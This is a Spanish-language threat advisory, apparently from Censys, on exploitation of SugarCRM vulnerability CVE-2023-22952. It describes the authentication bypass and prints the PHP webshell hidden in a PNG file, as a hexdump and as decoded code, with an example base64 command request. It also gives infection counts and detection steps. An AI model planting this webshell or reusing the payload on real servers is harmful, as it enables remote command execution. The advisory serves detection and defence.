Actualización 17 de enero de 2023: SugarCRM hizo que una firma forense de terceros validara que no hubo intrusión en sus productos basados en la nube debido a esta vulnerabilidad. Puede encontrar más información al respecto aquí.
Actualización del 11 de enero de 2023: Este problema está ahora siendo rastreado como CVE-2023-22952 / Actualización de las cuentas comprometidas
Actualización 10 de enero de 2023: SugarCRM es consciente del problema, y hemos actualizado nuestro post y directrices sobre la fijación de la vulnerabilidad. Censys no ha visto un aumento significativo de las instancias comprometidas, pero seguirá vigilando la situación.
El 30 de diciembre de 2022, un usuario conocido como "sw33t.0day" publicó un exploit(enlace de archivo) en la lista de correo Full-Disclosure para un sistema de gestión de contenidos basado en web llamado SugarCRM. Esta vulnerabilidad está siendo rastreada como CVE-2023-22952 y, por desgracia, el exploit se está utilizando actualmente para comprometer hosts e instalar un webshell basado en php.
El 5 de enero de 2023, Censys observó 3.066 instancias de SugarCRM en Internet, con 291 hosts únicos comprometidos. A 11 de enero de 2023, hemos encontrado 3.059 instancias de Sugar CRM en Internet y 354 direcciones IP únicas que contienen el webshell instalado del exploit (un crecimiento de 63 direcciones IP).
Un post en la web de SugarCRM detalla la vulnerabilidad y una FAQ que describe los pasos necesarios para asegurar el servicio.
El exploit parece ser un bypass de autenticación contra "/index.php" en el servicio instalado. Después de que el bypass de autenticación tiene éxito, se obtiene una cookie del servicio, y se envía una petición POST secundaria a la ruta "/cache/images/sweet.phar" que carga un pequeño archivo codificado PNG que contiene código PHP que será ejecutado por el servidor cuando se haga otra petición del archivo. El binario inyectado en cuestión, cuando se decodifica, tiene el siguiente aspecto utilizando "hexdump":
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 00 19 00 00 00 14 08 03 00 00 00 4f a9 66 |.............O.f|
00000020 8f 00 00 00 4b 50 4c 54 45 3c 3f 70 68 70 20 65 |....KPLTE<?php e|
00000030 63 68 6f 20 22 23 23 23 23 23 22 3b 20 70 61 73 |cho "#####"; pas|
00000040 73 74 68 72 75 28 62 61 73 65 36 34 5f 64 65 63 |sthru(base64_dec|
00000050 6f 64 65 28 24 5f 50 4f 53 54 5b 22 63 22 5d 29 |ode($_POST["c"])|
00000060 29 3b 20 65 63 68 6f 20 22 23 23 23 23 23 22 3b |); echo "#####";|
00000070 20 3f 3e 20 f6 18 78 37 00 00 00 09 70 48 59 73 | ?> ..x7....pHYs|
00000080 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 |..........+.....|
00000090 2a 49 44 41 54 28 91 63 60 c0 0d 18 99 98 59 58 |*IDAT(.c`.....YX|
000000a0 d9 d8 39 38 b9 b8 79 78 f9 f8 05 04 85 84 45 44 |..98..yx......ED|
000000b0 c5 c4 25 f0 68 19 05 43 14 00 00 30 be 01 2d 4c |..%.h..C...0..-L|
000000c0 1e 5a 12 00 00 00 00 49 45 4e 44 ae 42 60 82 |.Z.....IEND.B`.|
Lo que más o menos se traduce en el siguiente PHP:
<?php
echo “#####”;
passthru(base64_decode($_POST[“c”]));
echo “#####”;
?>
Se trata de un simple intérprete de comandos web que ejecutará comandos basados en el valor de "c" del argumento de consulta codificado en base64 (por ejemplo, 'POST /cache/images/sweet.phar?c="L2Jpbi9pZA==" HTTP/1.1', que ejecutará el comando "/bin/id" con los mismos permisos que el usuario-id que ejecuta el servicio web).
Los 10 países más infectados |
|
País |
Recuento de huéspedes infectados |
Porcentaje del total de infecciones |
Estados Unidos |
90 |
32.5% |
Alemania |
59 |
21.3% |
Australia |
20 |
7.2% |
Francia |
18 |
6.5% |
Reino Unido |
15 |
5.4% |
Irlanda |
14 |
5.1% |
Canadá |
10 |
3.6% |
Italia |
9 |
3.2% |
Países Bajos |
8 |
2.9% |
Singapur |
7 |
2.5% |
|
Los 10 sistemas autónomos más infectados |
|
Sistema autónomo |
Recuento de huéspedes infectados |
Porcentaje del total de infecciones |
AMAZON-02 |
73 |
26.4% |
AMAZON-AES |
33 |
11.9% |
HETZNER-AS |
21 |
7.6% |
LEASEWEB-DE-FRA-10 |
10 |
3.6% |
DIGITALOCEAN-ASN |
9 |
3.2% |
OVH |
9 |
3.2% |
PLATAFORMA GOOGLE-CLOUD |
8 |
2.9% |
AKAMAI-AP |
5 |
1.8% |
SQUIZ-AS-AP |
5 |
1.8% |
LIQUIDWEB |
5 |
1.8% |
|
Indicadores de compromiso
Una forma decente de determinar si su instalación de SugarCRM ha sido comprometida es ejecutar el siguiente comando donde "$INSTALLDIR" es el directorio raíz de la instalación de SugarCRM:
~$ strings $INSTALLDIR/cache/images/* | grep -i PHP
Lo más probable es que el host haya sido comprometido si se ve alguna salida. Dado que el nombre de archivo escrito que contiene el intérprete de comandos web se puede cambiar arbitrariamente, buscar cadenas PHP en todos los archivos dentro de ese directorio es el mejor método de identificación.
Dado que este exploit puede ser fácilmente convertido en un arma, escaneado y automatizado, Censys continuará rastreando esta vulnerabilidad.
Los administradores también deben supervisar los registros de peticiones HTTP destinadas al directorio "/cache/images/" y prestar atención al código de respuesta devuelto por el servidor web.
- Si aparece un código de estado 404, el archivo no se ha encontrado y no se ha ejecutado código malicioso.
- Si se ve un código de estado 403, el acceso es denegado por el servidor web, y el código no se ejecuta. Este será el código de estado visto cuando el servicio haya sido parcheado.